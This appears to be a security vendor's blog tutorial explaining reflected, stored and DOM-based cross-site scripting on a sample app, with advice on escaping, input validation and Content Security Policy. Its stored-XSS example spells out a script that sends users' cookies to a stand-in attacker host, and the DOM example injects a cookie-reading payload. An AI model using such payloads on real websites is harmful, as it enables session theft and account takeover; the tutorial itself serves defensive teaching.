What is Cross-Site Scripting (XSS)?

Allie Mellen
Allie Mellen
Share on twitter
Share on facebook
Share on linkedin
Share on reddit
Allie Mellen

Allie Mellen

Share on twitter
Share on facebook
Share on linkedin
Share on reddit

Walk through of Cross-Site Scripting (XSS) with examples. Additionally, learn how to prevent XSS vulnerabilities as you push your applications to production.

What is XSS?

Cross-site scripting is an attack performed on vulnerable web applications that manipulates the app to send malicious scripts to users. An attacker injects a malicious script into a legitimate, trusted website to access personal data of other users, control their browser, or in severe cases, control the application itself.  

Attacks like these can be split into two parts:

  1. Initialization of the Attack: The attacker sends data, most often a malicious script, through an untrusted source in a web application like a text field or a URL. 
  2. Execution of the Attack: The data is received by an unsuspecting user without being validated, and the user opens and executes it. 

Cross-site scripting attacks are typically written as JavaScript segments. Even something as simple as a URL can be manipulated by attackers if not handled properly.

For example, this URL may be vulnerable if the search term is not handled correctly by the developer: 

http://mycoolapp.com/search?q=amisecure

There are multiple types of XSS attacks attackers will try against a web app. Let’s dig in to these security bugs.

What types of XSS are there?

Reflected XSS Attacks

Reflected XSS attacks, also known as non-persistent XSS attacks, are considered the simplest form of XSS. In these attacks, an attacker passes a malicious script through a query, which is typically within a URL. Attackers can send this URL to unsuspecting users through anonymous emails, forums, or anonymous social media feeds. 

When a user clicks on the URL, it is executed in the user’s browser. This type of attack is often used to send personal data of a user back to an attacker. This attack is very simple to exploit, which is one reason it is so popular and effective. 

Example of a Reflected XSS Attack

Let’s get back to our cool app example. 

http://mycoolapp.com/search?q=amisecure

Here, the user searched “amisecure”. The application returns back what the user supplied, which should look like: 

<p>Search Term: amisecure</p>

Now, if the web developer does not sanitize the input, the attacker can try a reflected XSS attack that looks like this:

http://mycoolapp.com/search?q=<script>/*some malicious script*/</script>

This will output:

<p>Search Term: <script>/*some malicious script*/</script></p>

When clicked on by a user, this will run the malicious script in the browser, giving the attacker the ability to act as the user, view their information, and interact with other users.

Persistent XSS Attacks

Persistent XSS attacks, also known as stored XSS attacks, occur when an attacker identifies a vulnerability in a web application that allows for script injection. The attacker is able to inject a malicious script into the web application such that, when the webpage is visited, the personal data of the user is sent back to the attacker. 

Social sharing websites are popular targets for persistent XSS attacks, as they offer an immediate entry point into the web application.

Example of a Persistent XSS Attack

Let’s get back to our cool app example. This time, the attacker is trying to launch a Persistent XSS attack from the comments section of your web app. They send the comment: 

<script> window.location='http://notcoolattacker.com/?cookie='+document.cookie </script> ;

Which sends a POST request to your web app that looks like this:

POST "http://mycoolapp.com/comment", body{" <script> window.location='http://notcoolattacker.com/?cookie='+document.cookie;</script> ;”}

This is now stored on your database as a comment. When a user navigates to this webpage and attempts to review the comments, the attacker’s comment will be interpreted in the browser as a script. It will subsequently execute the script and send the user’s cookie to the attacker, which the attacker can use to masquerade as the user.  

DOM-based XSS Attacks

A Document Object Model is an interface to treat an HTML document as a logical tree structure, where each node represents an object and part of the document. DOM-based XSS attacks actually write data to the DOM. Attackers can use this to add a malicious script to a webpage. DOM-based XSS attacks differ significantly from other XSS attacks.

Walk through of Cross-Site Scripting (XSS) with examples. Additionally, learn how to prevent XSS vulnerabilities as you push your applications to production.

It is difficult to defend DOM-based XSS attacks through server-side prevention, since the payload is not processed by the server. Instead, the attack is only preventable on the client side.  

Example of a DOM-based XSS Attack

This time, your cool app gathers the users language based on the default, as shown in the webpage source:

Language:

Language:
<select><script>    
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");    
document.write("<OPTION value=2>English</OPTION>");    
</script></select>

When viewed from, for example, a native Swahili speaker, the URL looks like:

http://mycoolapp.com/dashboard.html?default=Swahili

And the DOM becomes:

Select your language:
<select>    
<OPTION value=1>Swahili</OPTION>
<OPTION value=2>English</OPTION>
</select>

This JavaScript modifies the DOM directly with the calls to document.write. In order to take advantage of this, an attacker may inject a script instead:

http://mycoolapp.com/dashboard.html?default=<script>alert(document.cookie)</script>

When a user clicks on this link, it changes the webpage to:

Select your language:
<select>    
<OPTION value=1><script>alert(document.cookie)</script></OPTION>
<OPTION value=2>English</OPTION>
</select>

In this example, the attacker fetches the user’s cookie, which the attacker can use to masquerade as the user. However, any JavaScript could be in its place. 

How to Write Secure Code that Prevents XSS

Escape Untrusted HTTP Request Data

To ensure no malicious data is being passed through your application to your users, escape any untrusted data before rendering for the end user. By escaping user input, you can prevent untrusted data from being interpreted by your application in a malicious way. 

Other Helpful Tips 

Validate Inputs

Never assume input from outside of the system is legitimate and to be trusted. Always validate incoming data to ensure it is not malicious and cannot impact your application or your users. Input validation alone is not a complete defense against XSS attacks, but will help reduce the impact if an attacker identifies a XSS bug. 

Use a Content Security Policy

Content Security Policy (CSP) is made by Mozilla and specifically designed to help prevent attacks like XSS. In order to prevent XSS bugs, CSP will restrict the domains that the browser considers a valid source of executable scripts. 

Automate Testing for XSS in the Build Pipeline

The best way to avoid XSS bugs in your application is to automate testing in the pipeline. We built StackHawk to help engineering teams find and fix security bugs like XSS and more, but there are also many other tools out there depending on your use case. Bottom line, use automation to help ensure you ship code that is free from security bugs.

KAAKAWW!!! [ kǝn'grats ]

You're on the waitlist!
We can’t wait to get you started with StackHawk. Please complete this 3 minute survey to help us ensure we will be a good fit for your needs.
STACKHAWK - LIMITED EARLY RELEASE
Join the early access program and use StackHawk for free.

KAAKAWW!!! [ kǝn'grats ]

You're signed up for the newsletter!
We’ll keep you up to date on content and other happenings here at StackHawk.